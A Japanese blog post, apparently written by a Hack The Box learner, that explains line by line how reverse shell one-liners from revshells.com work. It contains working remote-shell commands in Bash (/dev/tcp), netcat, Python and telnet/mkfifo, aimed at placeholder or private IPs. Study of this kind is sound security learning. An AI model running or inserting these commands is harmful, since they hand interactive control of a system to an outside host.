リバースシェルのプログラムをちゃんと理解する
Hack the boxに取り組む中でリバースシェルを使用する機会があるが、revshells.comや各問題のWrite upから拝借することが多く、その場で独力で書けるかといったら難しい。そこで今回はrevshells.comからいくつかリバースシェルをピックアップして、各文法にどんな意味があるのかを書きながら理解を深めていきたいと思う。
1. Bash その1 - Basic
$ bash -i >& /dev/tcp/<IPADDR>/<PORT> 0>&1
-i
:インタラクティブに動作させるオプション>&
:標準出力・標準エラー出力をどちらも後続のfileにリダイレクトする- Bashの標準出力・標準エラー出力は
/dev/tcp/<IPADDR>/<PORT>
(つまり攻撃者側)に出力されている
- Bashの標準出力・標準エラー出力は
/dev/tcp/<IPADDR>/<PORT>
:このファイルに読み書きすることで、<IPADDR>
:<PORT>
とTCPソケット上で通信する。- 以下は
man bash
より(ってことはLinuxの機能ではなくてBashの機能なの?)
- 以下は
/dev/tcp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding TCP socket. /dev/udp/host/port If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open the corresponding UDP socket.
- Exploring /dev/tcp
- Some useful tips about /dev/tcp
0>&1
:標準入力を標準出力と同じfdにセット- つまりBashの標準入力は
/dev/tcp/<IPADDR>/<PORT>
(つまり攻撃者側)
- つまりBashの標準入力は
2. Bash その2 - execを使う
$ 0<&196;exec 196<>/dev/tcp/<IPADDR>/<PORT>; bash <&196 >&196 2>&196
0<&196
:標準入力をfd 196
にセット- ここの
196
という数字は2
(標準エラー出力)より大きいものであればなんでもいいらしい
- ここの
;
:Bashのコマンド区切りexec 196<>
:これ以降のシェルにおいてfd 196
の標準入力・標準出力を/dev/tcp/<IPADDR>/<PORT>
(つまり攻撃者側)に結びつけるbash <&196 >&196 2>&196
:bash
を起動する際に、標準入力をfd 196
から、標準出力と標準エラー出力はfd 196
へリダイレクトするよう指定
3. Bash その3 - Readlineを使う
$ exec 5<>/dev/tcp/<IPADDR>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/<IPADDR>/<PORT>
:Bash その2と同じcat <&5 |
:fd 5
から読み取ったものをcat
して後続にパイプ|
while read line; do $line 2>&5 >&5; done
:パイプ|
から1行ずつ読み取って変数$line
に格納し、$line
を実行する、その際標準出力と標準エラー出力はfd 5
にリダイレクト
4. Bash その4 - こんなやり方も
$ bash -i 5<> /dev/tcp/10.0.0.2/4444 0<&5 1>&5 2>&5
5. nc その1 - Basic
$ nc <IPADDR> <PORT> -e bash
nc <IPADDR> <PORT>
:TCPで接続する-e
:起動したプログラムのファイルディスクリプタをこの接続にリダイレクトする-c
でもいけるっぽい
※自宅に用意したUbuntu 20.04LSに含まれているnetcat-openbsd 1.206-1ubuntu1
は-e
、-c
のオプションが使用できなかった
6. Python
export RHOST="<IPADDR>";export RPORT=<PORT>;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
読みやすくするため改行
export RHOST="<IPADDR>";export RPORT=<PORT>;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
export ~
:Pythonではなく環境変数として<IPADDR>
、<PORT>
を格納python -c 'xxx'
:コマンド渡しでPython実行する ※あくまでコマンドを実行するため、上記のようにスクリプトとして複数のコマンドを実行したい場合は;
で区切るos.getenv()
:OS側に設定された環境変数を取得する(export
されたもの)os.dup2(s.fileno(),fd);
:socketのファイルディスクリプタs.fileno()
を標準入力(0)、標準出力(1)、標準エラー出力(2)にリダイレクトpty.spawn("bash")
:Bashのプロセスを起動して、その制御端末を現在のプロセスの標準入出力に接続する
Telnet
$ TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.2 4444 0<$TF | bash 1>$TF 2>$TF
TF=$(mktemp -u)
:ランダムなファイル名を表示するが、-u
オプションにより実際にファイル作成まではしないmkfifo $TF
:$TF
のファイルパスにFIFO(名前付きパイプ)を作成する&& telnet 10.0.0.2 4444 0<$TF
:前のコマンドが成功した場合、標準入力を名前付きパイプ$TF
にリダイレクトしてtelnetを起動する| bash 1>$TF 2>$TF
:標準出力と標準エラー出力は名前付きパイプ$TF
にリダイレクト
他にもrevshells.comにはたくさんリバースシェルのプログラムが掲載されているが、 自分が今後出会う都度追記していく。